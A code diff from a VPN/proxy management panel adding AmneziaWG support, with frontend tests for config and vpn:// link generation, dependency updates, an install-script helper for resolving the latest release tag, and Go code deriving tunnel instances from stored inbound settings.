+          jmax: 100,
+          s1: 30,
+          s2: 90,
+          ...server,
+        },
+      }) as unknown as InboundOption;
+    const client = (extra: Record<string, unknown>) =>
+      ({
+        email: 'peer-1',
+        privateKey: 'clientPrivKey==',
+        allowedIPs: '10.8.1.2/32',
+        ...extra,
+      }) as unknown as ClientRecord;
+
+    expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
+      'PrivateKey = clientPrivKey==',
+    );
+    expect(
+      buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
+    ).toBe('');
+    expect(
+      buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
+    ).toBe('');
+    expect(
+      buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
+    ).toBe('');
+  });
+});

+ 115 - 0
frontend/src/test/amneziawg-conf-parity.test.ts

@@ -0,0 +1,115 @@
+import { describe, it, expect } from 'vitest';
+
+import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
+import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// wg-quick(8)'s own peer order. The panel emits an AmneziaWG .conf from three
+// independent places (this file's two, plus amneziaWGConfigText in Go), and a
+// user comparing a subscription link against a downloaded .conf sees any drift
+// between them immediately.
+const PEER_FIELD_ORDER = [
+  'PublicKey',
+  'PresharedKey',
+  'AllowedIPs',
+  'Endpoint',
+  'PersistentKeepalive',
+];
+
+function peerFields(conf: string): string[] {
+  const peerBlock = conf.slice(conf.indexOf('[Peer]'));
+  return peerBlock
+    .split('\n')
+    .map((line) => line.split('=')[0].trim())
+    .filter((key) => PEER_FIELD_ORDER.includes(key));
+}
+
+describe('AmneziaWG .conf emitters agree on the peer block', () => {
+  const settings = {
+    server: {
+      publicKey: 'serverPubKey==',
+      primaryDns: '8.8.8.8',
+      secondaryDns: '',
+      mtu: 1420,
+      jc: 4,
+      jmin: 40,
+      jmax: 100,
+      s1: 30,
+      s2: 90,
+      s3: 0,
+      s4: 0,
+      h1: '',
+      h2: '',
+      h3: '',
+      h4: '',
+    },
+    clients: [
+      {
+        email: 'peer-1',
+        privateKey: 'clientPrivKey==',
+        allowedIPs: ['10.8.1.2/32'],
+        preSharedKey: 'psk==',
+        keepAlive: 25,
+      },
+    ],
+  } as unknown as AmneziawgInboundSettings;
+
+  const linkConf = genAmneziaWGConfig({
+    settings,
+    address: 'awg.example.test',
+    port: 51820,
+    remark: 'awg-peer-1',
+    peerIndex: 0,
+  });
+
+  const client = {
+    email: 'peer-1',
+    privateKey: 'clientPrivKey==',
+    allowedIPs: '10.8.1.2/32',
+    preSharedKey: 'psk==',
+    keepAlive: 25,
+  } as unknown as ClientRecord;
+  const inbound = {
+    id: 1,
+    tag: 'awg-1',
+    remark: 'awg',
+    port: 51820,
+    protocol: 'amneziawg',
+    awgServer: settings.server,
+  } as unknown as InboundOption;
+  const clientsPageConf = buildAmneziaWGClientConfig(client, inbound, 'awg.example.test');
+
+  it('the share-link emitter uses the wg-quick peer order', () => {
+    expect(peerFields(linkConf)).toEqual(PEER_FIELD_ORDER);
+  });
+
+  it('the clients-page emitter uses the same order', () => {
+    expect(peerFields(clientsPageConf)).toEqual(PEER_FIELD_ORDER);
+  });
+
+  it('neither emitter leaves a trailing newline, so both end on their last set field', () => {
+    expect(linkConf.endsWith('\n')).toBe(false);
+    expect(clientsPageConf.endsWith('\n')).toBe(false);
+  });
+
+  it('an unset preSharedKey drops the line in both, without disturbing the rest', () => {
+    const noPsk = {
+      ...settings,
+      clients: [{ ...settings.clients[0], preSharedKey: '' }],
+    } as AmneziawgInboundSettings;
+    const withoutPsk = genAmneziaWGConfig({
+      settings: noPsk,
+      address: 'awg.example.test',
+      port: 51820,
+      remark: 'awg-peer-1',
+      peerIndex: 0,
+    });
+    const clientWithoutPsk = { ...client, preSharedKey: '' } as unknown as ClientRecord;
+    const want = PEER_FIELD_ORDER.filter((f) => f !== 'PresharedKey');
+    expect(peerFields(withoutPsk)).toEqual(want);
+    expect(
+      peerFields(buildAmneziaWGClientConfig(clientWithoutPsk, inbound, 'awg.example.test')),
+    ).toEqual(want);
+  });
+});

+ 90 - 0
frontend/src/test/amneziawg-obfuscation.test.ts

@@ -0,0 +1,90 @@
+import { describe, expect, it } from 'vitest';
+
+import { generateAwgObfuscation } from '@/lib/xray/amneziawg-obfuscation';
+import { AmneziawgServerSchema } from '@/schemas/protocols/inbound/amneziawg';
+import { ServerSettingsSchema } from '@/generated/zod';
+
+/*
+ * Parses "lo-hi" and asserts min <= lo <= hi <= max; mirrors the bounds the
+ * Go generator's own test pins (internal/amneziawg/params_test.go), so the
+ * two generators cannot drift apart silently.
+ */
+function expectRangeWithin(value: string, min: number, max: number): [number, number] {
+  const m = /^(\d+)-(\d+)$/.exec(value);
+  expect(m, `${value} is not a lo-hi range`).not.toBeNull();
+  const lo = Number(m![1]);
+  const hi = Number(m![2]);
+  expect(lo).toBeGreaterThanOrEqual(min);
+  expect(hi).toBeLessThanOrEqual(max);
+  expect(lo).toBeLessThanOrEqual(hi);
+  return [lo, hi];
+}
+
+describe('generateAwgObfuscation', () => {
+  it('stays inside the Go generator ranges and invariants', () => {
+    for (let i = 0; i < 200; i++) {
+      const o = generateAwgObfuscation();
+
+      expect(o.jc).toBeGreaterThanOrEqual(3);
+      expect(o.jc).toBeLessThanOrEqual(6);
+      expect(o.jmin).toBeGreaterThanOrEqual(40);
+      expect(o.jmin).toBeLessThanOrEqual(89);
+      expect(o.jmax - o.jmin).toBeGreaterThanOrEqual(50);
+      expect(o.jmax - o.jmin).toBeLessThanOrEqual(250);
+      expect(o.s1 + 56).not.toBe(o.s2);
+      expect(o.s3).toBeGreaterThanOrEqual(12);
+      expect(o.s3).toBeLessThanOrEqual(55);
+      expect(o.s4).toBeGreaterThanOrEqual(12);
+      expect(o.s4).toBeLessThanOrEqual(27);
+
+      const hBounds = [o.h1, o.h2, o.h3, o.h4].map((h) => expectRangeWithin(h, 5, 2147483647));
+      for (let j = 1; j < 4; j++) {
+        expect(hBounds[j][0], 'H ranges must not overlap').toBeGreaterThan(hBounds[j - 1][1]);
+      }
+
+      expect(o.i1).toMatch(/^<r \d+>$/);
+      expect(o.i2).toBe('');
+      expect(o.i5).toBe('');
+
+      const key = atob(o.headerProtectionKey);
+      expect(key.length, 'headerProtectionKey must decode to 32 bytes').toBe(32);
+
+      expectRangeWithin(o.contentPaddingAddition, 8, 64);
+      const [, rekeyHi] = expectRangeWithin(o.rekeyAfterTime, 100, 160);
+      const [rejectLo] = expectRangeWithin(o.rejectAfterTime, 130, 310);
+      expect(
+        rejectLo,
+        'reject window must start >= 30s above the rekey window',
+      ).toBeGreaterThanOrEqual(rekeyHi + 30);
+      expectRangeWithin(o.rekeyTimeout, 3, 10);
+      expectRangeWithin(o.keepaliveTimeout, 8, 20);
+      expectRangeWithin(o.maxHandshakeAttempts, 15, 50);
+
+      expect(o.randomTrailers).toBe(true);
+      expect(o.disableCookies).toBe(true);
+    }
+  });
+
+  it('produces values the hand-written schema accepts unchanged', () => {
+    const parsed = AmneziawgServerSchema.parse({
+      ...generateAwgObfuscation(),
+      privateKey: 'p',
+      publicKey: 'P',
+    });
+    expect(parsed.headerProtectionKey).not.toBe('');
+  });
+});
+
+/*
+ * Drift guard for the three-way mirror: the hand-written AmneziawgServerSchema,
+ * the Go ServerSettings struct, and the openapigen output must agree on the
+ * field set. Comparing hand-written vs generated keys catches a field added on
+ * one side but forgotten on the other before it silently drops from configs.
+ */
+describe('AmneziawgServerSchema parity with generated ServerSettings', () => {
+  it('declares exactly the generated key set', () => {
+    const handwritten = Object.keys(AmneziawgServerSchema.shape).sort();
+    const generated = Object.keys(ServerSettingsSchema.shape).sort();
+    expect(handwritten).toEqual(generated);
+  });
+});

+ 34 - 0
frontend/src/test/amneziawg-schema-cleared.test.ts

@@ -0,0 +1,34 @@
+import { describe, expect, it } from 'vitest';
+
+import { AmneziawgServerSchema } from '@/schemas/protocols/inbound/amneziawg';
+
+// AntD InputNumber emits null when cleared; a cleared numeric field must
+// refill its schema default instead of failing validation and blocking the save.
+describe('AmneziawgServerSchema cleared numeric fields', () => {
+  it('accepts null for every InputNumber-backed field and refills the default', () => {
+    const parsed = AmneziawgServerSchema.parse({
+      subnetCidr: null,
+      jc: null,
+      jmin: null,
+      jmax: null,
+      s1: null,
+      s2: null,
+      s3: null,
+      s4: null,
+    });
+    expect(parsed.subnetCidr).toBe(24);
+    expect(parsed.jc).toBe(5);
+    expect(parsed.jmin).toBe(10);
+    expect(parsed.jmax).toBe(50);
+    expect(parsed.s1).toBe(30);
+    expect(parsed.s2).toBe(45);
+    expect(parsed.s3).toBe(10);
+    expect(parsed.s4).toBe(5);
+  });
+
+  it('keeps absent-key defaults unchanged', () => {
+    const parsed = AmneziawgServerSchema.parse({});
+    expect(parsed.subnetCidr).toBe(24);
+    expect(parsed.jc).toBe(5);
+  });
+});

+ 72 - 0
frontend/src/test/client-tunnel-allowed-ips.test.tsx

@@ -0,0 +1,72 @@
+import { describe, it, expect } from 'vitest';
+
+import {
+  parseAllowedIPsList,
+  resolveTunnelAllowedIPsByInbound,
+} from '@/pages/clients/ClientFormModal';
+
+describe('parseAllowedIPsList', () => {
+  it('splits, trims, and drops empty entries', () => {
+    expect(parseAllowedIPsList(' 10.0.0.2/32 , 10.0.0.3/32,')).toEqual([
+      '10.0.0.2/32',
+      '10.0.0.3/32',
+    ]);
+  });
+
+  it('returns an empty array for a blank string', () => {
+    expect(parseAllowedIPsList('')).toEqual([]);
+  });
+});
+
+describe('resolveTunnelAllowedIPsByInbound', () => {
+  // Regression coverage for the bug this whole feature exists to fix: a
+  // client attached to both a WireGuard and an AmneziaWG inbound must get
+  // each protocol's own address routed to its own inbound id, never the
+  // other's -- a single shared field can't represent two different
+  // addresses, which is exactly what confused wg's 10.0.0.2/32 with awg's
+  // 10.8.1.0/24 subnet in the real production bug report.
+  it('maps each protocol field to its own attached inbound id', () => {
+    const wireguardIds = new Set([7]);
+    const amneziawgIds = new Set([10]);
+    const result = resolveTunnelAllowedIPsByInbound(
+      [7, 10],
+      wireguardIds,
+      amneziawgIds,
+      ['10.0.0.2/32'],
+      ['10.8.1.21/32'],
+    );
+    expect(result).toEqual({ 7: ['10.0.0.2/32'], 10: ['10.8.1.21/32'] });
+  });
+
+  it('omits a protocol entirely when its inbound is not among the attached ids', () => {
+    const wireguardIds = new Set([7]);
+    const amneziawgIds = new Set([10]);
+    const result = resolveTunnelAllowedIPsByInbound(
+      [7],
+      wireguardIds,
+      amneziawgIds,
+      ['10.0.0.2/32'],
+      ['10.8.1.21/32'],
+    );
+    expect(result).toEqual({ 7: ['10.0.0.2/32'] });
+    expect(result).not.toHaveProperty('10');
+  });
+
+  it('returns an empty object when neither protocol is attached', () => {
+    const result = resolveTunnelAllowedIPsByInbound([3], new Set([7]), new Set([10]), ['x'], ['y']);
+    expect(result).toEqual({});
+  });
+
+  it('picks the first matching id when multiple inbounds of the same protocol are attached', () => {
+    const wireguardIds = new Set([7, 8]);
+    const amneziawgIds = new Set([10]);
+    const result = resolveTunnelAllowedIPsByInbound(
+      [8, 7, 10],
+      wireguardIds,
+      amneziawgIds,
+      ['10.0.0.2/32'],
+      ['10.8.1.21/32'],
+    );
+    expect(result).toEqual({ 8: ['10.0.0.2/32'], 10: ['10.8.1.21/32'] });
+  });
+});

+ 190 - 0
frontend/src/test/inbound-link.test.ts

@@ -2,6 +2,9 @@
 import { describe, expect, it } from 'vitest';
 import { describe, expect, it } from 'vitest';
 
 
 import {
 import {
+  amneziawgConfigFromLink,
+  genAmneziaWGConfig,
+  genAmneziaWGLink,
   genHysteriaLink,
   genHysteriaLink,
   genInboundLinks,
   genInboundLinks,
   genShadowsocksLink,
   genShadowsocksLink,
@@ -15,8 +18,17 @@ import {
   resolveAddr,
   resolveAddr,
 } from '@/lib/xray/inbound-link';
 } from '@/lib/xray/inbound-link';
 import { InboundSchema } from '@/schemas/api/inbound';
 import { InboundSchema } from '@/schemas/api/inbound';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
 import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
 
 
+// reverse of inbound-link.ts's own toBase64Url, for asserting on the
+// decoded vpn:// payload without depending on that helper being exported.
+function fromBase64Url(value: string): string {
+  const b64 = value.replace(/-/g, '+').replace(/_/g, '/');
+  const padded = b64 + '='.repeat((4 - (b64.length % 4)) % 4);
+  return atob(padded);
+}
+
 // Snapshot baseline for the share-link generators. Snapshots were locked
 // Snapshot baseline for the share-link generators. Snapshots were locked
 // at the close of the legacy class migration — at that point each
 // at the close of the legacy class migration — at that point each
 // generator was verified byte-equal to the corresponding legacy Inbound
 // generator was verified byte-equal to the corresponding legacy Inbound
@@ -357,6 +369,184 @@ describe('genWireguardLink + genWireguardConfig multi allowedIPs', () => {
   });
   });
 });
 });
 
 
+// Real AmneziaVPN app's import path (confirmed by reading its own source)
+// base64url-decodes a vpn:// link, best-effort decompresses it (falling back
+// to the raw bytes for plain text, which is never qCompress-framed), then
+// parses the result as a flat "Key = Value" bag -- so genAmneziaWGLink just
+// needs to wrap genAmneziaWGConfig's already-correct .conf text.
+describe('genAmneziaWGLink vpn:// scheme', () => {
+  const settings = {
+    server: {
+      publicKey: 'serverPubKey==',
+      mtu: 1420,
+      primaryDns: '8.8.8.8',
+      secondaryDns: '8.8.4.4',
+      jc: 5,
+      jmin: 10,
+      jmax: 50,
+      s1: 30,
+      s2: 45,
+      s3: 10,
+      s4: 5,
+      h1: '',
+      h2: '',
+      h3: '',
+      h4: '',
+      i1: '',
+    },
+    clients: [
+      {
+        email: 'peer-1',
+        privateKey: 'clientPrivKey==',
+        allowedIPs: ['10.8.1.2/32'],
+        keepAlive: 25,
+      },
+    ],
+  } as unknown as AmneziawgInboundSettings;
+
+  const input = {
+    settings,
+    address: 'awg.example.test',
+    port: 51820,
+    remark: 'awg-peer-1',
+    peerIndex: 0,
+  };
+
+  it('wraps the .conf text as a base64url-encoded vpn:// link, byte-identical to genAmneziaWGConfig', () => {
+    const link = genAmneziaWGLink(input);
+    expect(link.startsWith('vpn://')).toBe(true);
+
+    const decoded = fromBase64Url(link.slice('vpn://'.length));
+    expect(decoded).toBe(genAmneziaWGConfig(input));
+    expect(decoded).toContain('PrivateKey = clientPrivKey==\n');
+    expect(decoded).toContain('PublicKey = serverPubKey==\n');
+    expect(decoded).toContain('Endpoint = awg.example.test:51820');
+    // No trailing newline: the text ends on its last set field whichever that
+    // is, so the three emitters produce the same shape for the same client.
+    expect(decoded.endsWith('PersistentKeepalive = 25')).toBe(true);
+  });
+
+  it('omits every unset 3.1 field — a lone HeaderProtectionKey line would break the handshake', () => {
+    const decoded = fromBase64Url(genAmneziaWGLink(input).slice('vpn://'.length));
+    for (const absent of [
+      'I2',
+      'HeaderProtectionKey',
+      'ContentPaddingAddition',
+      'RekeyAfterTime',
+      'RekeyTimeout',
+      'RejectAfterTime',
+      'KeepaliveTimeout',
+      'MaxHandshakeAttempts',
+      'RandomTrailers',
+      'DisableCookies',
+    ]) {
+      expect(decoded).not.toContain(absent);
+    }
+  });
+
+  it('returns an empty string when the peer index has no client', () => {
+    expect(genAmneziaWGLink({ ...input, peerIndex: 5 })).toBe('');
+  });
+
+  // The subscription page's own reverse of the above: recovers a vpn://
+  // link's .conf text for the same copy/download/QR "Config" block
+  // WireGuard already gets there (wireguardConfigFromLink's AmneziaWG
+  // counterpart) -- found missing from that page in production (no
+  // download-config affordance for AmneziaWG links, unlike WireGuard's),
+  // even though every other surface in the panel (InboundInfoModal,
+  // ClientInfoModal, ClientQrModal) already had parity.
+  it('amneziawgConfigFromLink round-trips genAmneziaWGLink byte-identical to genAmneziaWGConfig', () => {
+    const link = genAmneziaWGLink(input);
+    expect(amneziawgConfigFromLink(link)).toBe(genAmneziaWGConfig(input));
+  });
+});
+
+describe('amneziawgConfigFromLink edge cases', () => {
+  it('returns an empty string for a non-vpn:// link', () => {
+    expect(amneziawgConfigFromLink('wireguard://abc')).toBe('');
+    expect(amneziawgConfigFromLink('')).toBe('');
+  });
+
+  it('returns an empty string for an unparseable vpn:// payload', () => {
+    expect(amneziawgConfigFromLink('vpn://not-valid-base64url!!!')).toBe('');
+  });
+});
+
+/*
+ * The full AmneziaWG 3.1 parameter block, pinned line-by-line and in order:
+ * the emitted client config must carry the identical block the Go server
+ * emitter writes (internal/amneziawg.writeObfuscation) or the tunnel breaks.
+ */
+describe('genAmneziaWGConfig 3.1 parameters', () => {
+  const settings = {
+    server: {
+      publicKey: 'serverPubKey==',
+      jc: 4,
+      jmin: 40,
+      jmax: 100,
+      s1: 30,
+      s2: 90,
+      s3: 20,
+      s4: 10,
+      h1: '10-2000',
+      h2: '3000-5000',
+      h3: '6000-8000',
+      h4: '9000-11000',
+      i1: '<r 64>',
+      i2: '<r 80>',
+      i3: '',
+      i4: '',
+      i5: '',
+      headerProtectionKey: 'MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=',
+      contentPaddingAddition: '16-48',
+      rekeyAfterTime: '110-140',
+      rekeyTimeout: '4-8',
+      rejectAfterTime: '190-250',
+      keepaliveTimeout: '9-15',
+      maxHandshakeAttempts: '20-40',
+      randomTrailers: true,
+      disableCookies: true,
+    },
+    clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
+  } as unknown as AmneziawgInboundSettings;
+
+  const input = {
+    settings,
+    address: 'awg.example.test',
+    port: 51820,
+    remark: 'awg-31',
+    peerIndex: 0,
+  };
+
+  it('emits every 3.1 line in the shared emitter order and round-trips through vpn://', () => {
+    const cfg = genAmneziaWGConfig(input);
+    const expectedOrder = [
+      'Jc = 4',
+      'H4 = 9000-11000',
+      'I1 = <r 64>',
+      'I2 = <r 80>',
+      'HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=',
+      'ContentPaddingAddition = 16-48',
+      'RekeyAfterTime = 110-140',
+      'RekeyTimeout = 4-8',
+      'RejectAfterTime = 190-250',
+      'KeepaliveTimeout = 9-15',
+      'MaxHandshakeAttempts = 20-40',
+      'RandomTrailers = on',
+      'DisableCookies = on',
+      '[Peer]',
+    ];
+    let pos = -1;
+    for (const line of expectedOrder) {
+      const i = cfg.indexOf(line);
+      expect(i, `missing or out-of-order: ${line}\n${cfg}`).toBeGreaterThan(pos);
+      pos = i;
+    }
+    expect(cfg).not.toContain('I3');
+    expect(amneziawgConfigFromLink(genAmneziaWGLink(input))).toBe(cfg);
+  });
+});
+
 describe('resolveAddr precedence', () => {
 describe('resolveAddr precedence', () => {
   const baseInbound = {
   const baseInbound = {
     listen: '',
     listen: '',

+ 46 - 0
frontend/src/test/link-label.test.ts

@@ -1,6 +1,8 @@
 import { describe, it, expect } from 'vitest';
 import { describe, it, expect } from 'vitest';
 
 
 import { parseLinkParts, linkMetaText } from '@/lib/xray/link-label';
 import { parseLinkParts, linkMetaText } from '@/lib/xray/link-label';
+import { genAmneziaWGLink } from '@/lib/xray/inbound-link';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 
 
 // The panel shows the subscription's remark verbatim. Per-client traffic/expiry
 // The panel shows the subscription's remark verbatim. Per-client traffic/expiry
 // info is rendered only into the body a client app imports (backend, first link
 // info is rendered only into the body a client app imports (backend, first link
@@ -40,4 +42,48 @@ describe('link-label parseLinkParts', () => {
     expect(parts?.remark).toBe('mt-inbound');
     expect(parts?.remark).toBe('mt-inbound');
     expect(parts && linkMetaText(parts)).toBe('mt-inbound:8443');
     expect(parts && linkMetaText(parts)).toBe('mt-inbound:8443');
   });
   });
+
+  // AmneziaWG's vpn:// links are base64url of a plain .conf text, not a
+  // structured URL (see inbound-link.ts's genAmneziaWGLink) -- there's no
+  // query string or #hash available, so the remark/port have to be read back
+  // out of the decoded .conf body instead. Regression test for a real report:
+  // these links were showing a generic "Vpn" tag and falling back to "Link N"
+  // instead of "AmneziaWG" + the actual remark:port, unlike every other
+  // protocol's link row.
+  it('labels an AmneziaWG vpn:// link with its decoded remark and endpoint port', () => {
+    const settings = {
+      server: {
+        publicKey: 'serverPubKey==',
+        jc: 5,
+        jmin: 10,
+        jmax: 50,
+        s1: 30,
+        s2: 45,
+        s3: 10,
+        s4: 5,
+        h1: '',
+        h2: '',
+        h3: '',
+        h4: '',
+        i1: '',
+      },
+      clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
+    } as unknown as AmneziawgInboundSettings;
+
+    // Cyrillic remark on purpose -- matches the real report, and exercises
+    // the unicode round-trip through base64url (not just plain ASCII).
+    const link = genAmneziaWGLink({
+      settings,
+      address: 'awg.example.test',
+      port: 36541,
+      remark: 'wg-Майфун',
+      peerIndex: 0,
+    });
+
+    const parts = parseLinkParts(link);
+    expect(parts?.protocol).toBe('AmneziaWG');
+    expect(parts?.remark).toBe('wg-Майфун');
+    expect(parts?.port).toBe('36541');
+    expect(parts && linkMetaText(parts)).toBe('wg-Майфун:36541');
+  });
 });
 });

+ 2 - 1
go.mod

@@ -3,6 +3,7 @@ module github.com/mhsanaei/3x-ui/v3
 go 1.27.0
 go 1.27.0
 
 
 require (
 require (
+	github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814
 	github.com/gin-contrib/gzip v1.2.6
 	github.com/gin-contrib/gzip v1.2.6
 	github.com/gin-contrib/sessions v1.1.0
 	github.com/gin-contrib/sessions v1.1.0
 	github.com/gin-gonic/gin v1.12.0
 	github.com/gin-gonic/gin v1.12.0
@@ -36,6 +37,7 @@ require (
 	gorm.io/driver/postgres v1.6.2
 	gorm.io/driver/postgres v1.6.2
 	gorm.io/driver/sqlite v1.6.0
 	gorm.io/driver/sqlite v1.6.0
 	gorm.io/gorm v1.31.2
 	gorm.io/gorm v1.31.2
+	gvisor.dev/gvisor v0.0.0-20260122175437-89a5d21be8f0
 	pgregory.net/rapid v1.3.0
 	pgregory.net/rapid v1.3.0
 )
 )
 
 
@@ -110,6 +112,5 @@ require (
 	golang.zx2c4.com/wireguard v0.0.0-20260522210424-ecfc5a8d5446 // indirect
 	golang.zx2c4.com/wireguard v0.0.0-20260522210424-ecfc5a8d5446 // indirect
 	golang.zx2c4.com/wireguard/windows v1.0.1 // indirect
 	golang.zx2c4.com/wireguard/windows v1.0.1 // indirect
 	google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 // indirect
 	google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 // indirect
-	gvisor.dev/gvisor v0.0.0-20260122175437-89a5d21be8f0 // indirect
 	lukechampine.com/blake3 v1.4.1 // indirect
 	lukechampine.com/blake3 v1.4.1 // indirect
 )
 )

+ 2 - 0
go.sum

@@ -4,6 +4,8 @@ github.com/BurntSushi/toml v1.6.0 h1:dRaEfpa2VI55EwlIW72hMRHdWouJeRF7TPYhI+AUQjk
 github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
 github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
+github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814 h1:l2AhBD+sFycU8Im81n/bZORMxW7fWtlZJEuJ4Hh0+z0=
+github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814/go.mod h1:YoPc6qcOZqD7TXZ1xpedD8Sx3aSKsxN05ZqEFmXDNHk=
 github.com/andybalholm/brotli v1.2.2 h1:HzTuoo2ErYQqf5qvcJInB8uvqSVxRttzkFexPWtnceM=
 github.com/andybalholm/brotli v1.2.2 h1:HzTuoo2ErYQqf5qvcJInB8uvqSVxRttzkFexPWtnceM=
 github.com/andybalholm/brotli v1.2.2/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
 github.com/andybalholm/brotli v1.2.2/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
 github.com/apernet/quic-go v0.59.1-0.20260425001925-6c6cc9bcb716 h1:J1O+xpLuJWkdYbw5JPGwBqIHs2J8tiEP7Py9lPqkN2I=
 github.com/apernet/quic-go v0.59.1-0.20260425001925-6c6cc9bcb716 h1:J1O+xpLuJWkdYbw5JPGwBqIHs2J8tiEP7Py9lPqkN2I=

+ 16 - 1
install.sh

@@ -1411,12 +1411,27 @@ _install_xui_service_unit() {
     return 0
     return 0
 }
 }
 
 
+# resolve_latest_tag prints the latest stable release tag. It prefers the web
+# releases/latest redirect, which is not subject to the unauthenticated API's
+# 60 req/h-per-IP limit that trips shared CI/CGNAT addresses (the install then
+# fails with "Failed to fetch x-ui version"), and falls back to the API.
+resolve_latest_tag() {
+    local url tag
+    url=$(curl -sSLI -o /dev/null -w '%{url_effective}' --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://github.com/MHSanaei/3x-ui/releases/latest" 2>/dev/null)
+    tag=${url##*/tag/}
+    if [[ "$tag" != "$url" && -n "$tag" && "$tag" != "latest" ]]; then
+        echo "$tag"
+        return 0
+    fi
+    curl -Ls --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://api.github.com/repos/MHSanaei/3x-ui/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/'
+}
+
 install_x-ui() {
 install_x-ui() {
     cd ${xui_folder%/x-ui}/
     cd ${xui_folder%/x-ui}/
 
 
     # Download resources
     # Download resources
     if [ $# == 0 ]; then
     if [ $# == 0 ]; then
-        tag_version=$(curl -Ls --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://api.github.com/repos/MHSanaei/3x-ui/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
+        tag_version=$(resolve_latest_tag)
         if [[ ! -n "$tag_version" ]]; then
         if [[ ! -n "$tag_version" ]]; then
             echo -e "${red}Failed to fetch x-ui version, it may be due to GitHub API restrictions, please try it later${plain}"
             echo -e "${red}Failed to fetch x-ui version, it may be due to GitHub API restrictions, please try it later${plain}"
             exit 1
             exit 1

+ 164 - 0
internal/amneziawg/instance.go

@@ -0,0 +1,164 @@
+// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
+// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
+// pure functions that derive an Instance from a stored inbound row. It no
+// longer manages any OS-level interface itself: that was the kernel-module
+// (DKMS) + awg-quick + TPROXY architecture this fork shipped originally,
+// retired in favor of an embedded, pure-Go one (amneziawg-go over a gVisor
+// netstack, see internal/amneziawgnet) in a hard cutover. This package's
+// remaining code is deliberately protocol-shape-only, with no OS dependency
+// at all, so both the (now-removed) kernel-module path and the embedded
+// path could read -- and, historically, did read -- it identically.
+package amneziawg
+
+import (
+	"encoding/json"
+	"fmt"
+	"net/netip"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// InstanceFromInbound derives a desired Instance from an AmneziaWG inbound,
+// building one peer per active client. Returns false when the inbound is not
+// a usable AmneziaWG inbound (wrong protocol, unparseable settings, or no
+// server block) or has no enabled peer to serve — mirroring
+// mtproto.InstanceFromInbound, which skips the sidecar entirely rather than
+// run it with nothing to serve.
+func InstanceFromInbound(ib *model.Inbound) (Instance, bool) {
+	if ib == nil || ib.Protocol != model.AmneziaWG {
+		return Instance{}, false
+	}
+	var parsed InboundSettings
+	if err := json.Unmarshal([]byte(ib.Settings), &parsed); err != nil || parsed.Server == nil {
+		return Instance{}, false
+	}
+	server := parsed.Server
+
+	peers := make([]Peer, 0, len(parsed.Clients))
+	for _, c := range parsed.Clients {
+		if !c.Enable || c.PublicKey == "" || len(c.AllowedIPs) == 0 {
+			continue
+		}
+		peers = append(peers, Peer{
+			Email:          c.Email,
+			PublicKey:      c.PublicKey,
+			PresharedKey:   c.PreSharedKey,
+			AllowedIPs:     c.AllowedIPs,
+			ForwardedPorts: c.ForwardedPorts,
+		})
+	}
+	if len(peers) == 0 {
+		return Instance{}, false
+	}
+
+	addresses := []string{serverAddress(server.SubnetIP, server.SubnetCIDR)}
+	if server.IPv6Enabled {
+		if v6, ok := serverAddressV6(server.IPv6Subnet); ok {
+			addresses = append(addresses, v6)
+		}
+	}
+
+	return Instance{
+		Id:                    ib.Id,
+		Tag:                   ib.Tag,
+		InterfaceName:         interfaceNameForID(ib.Id),
+		ListenPort:            ib.Port,
+		PrivateKey:            server.PrivateKey,
+		PublicKey:             server.PublicKey,
+		Address:               addresses,
+		MTU:                   server.MTU,
+		Obfuscation:           server.Obfuscation(),
+		Peers:                 peers,
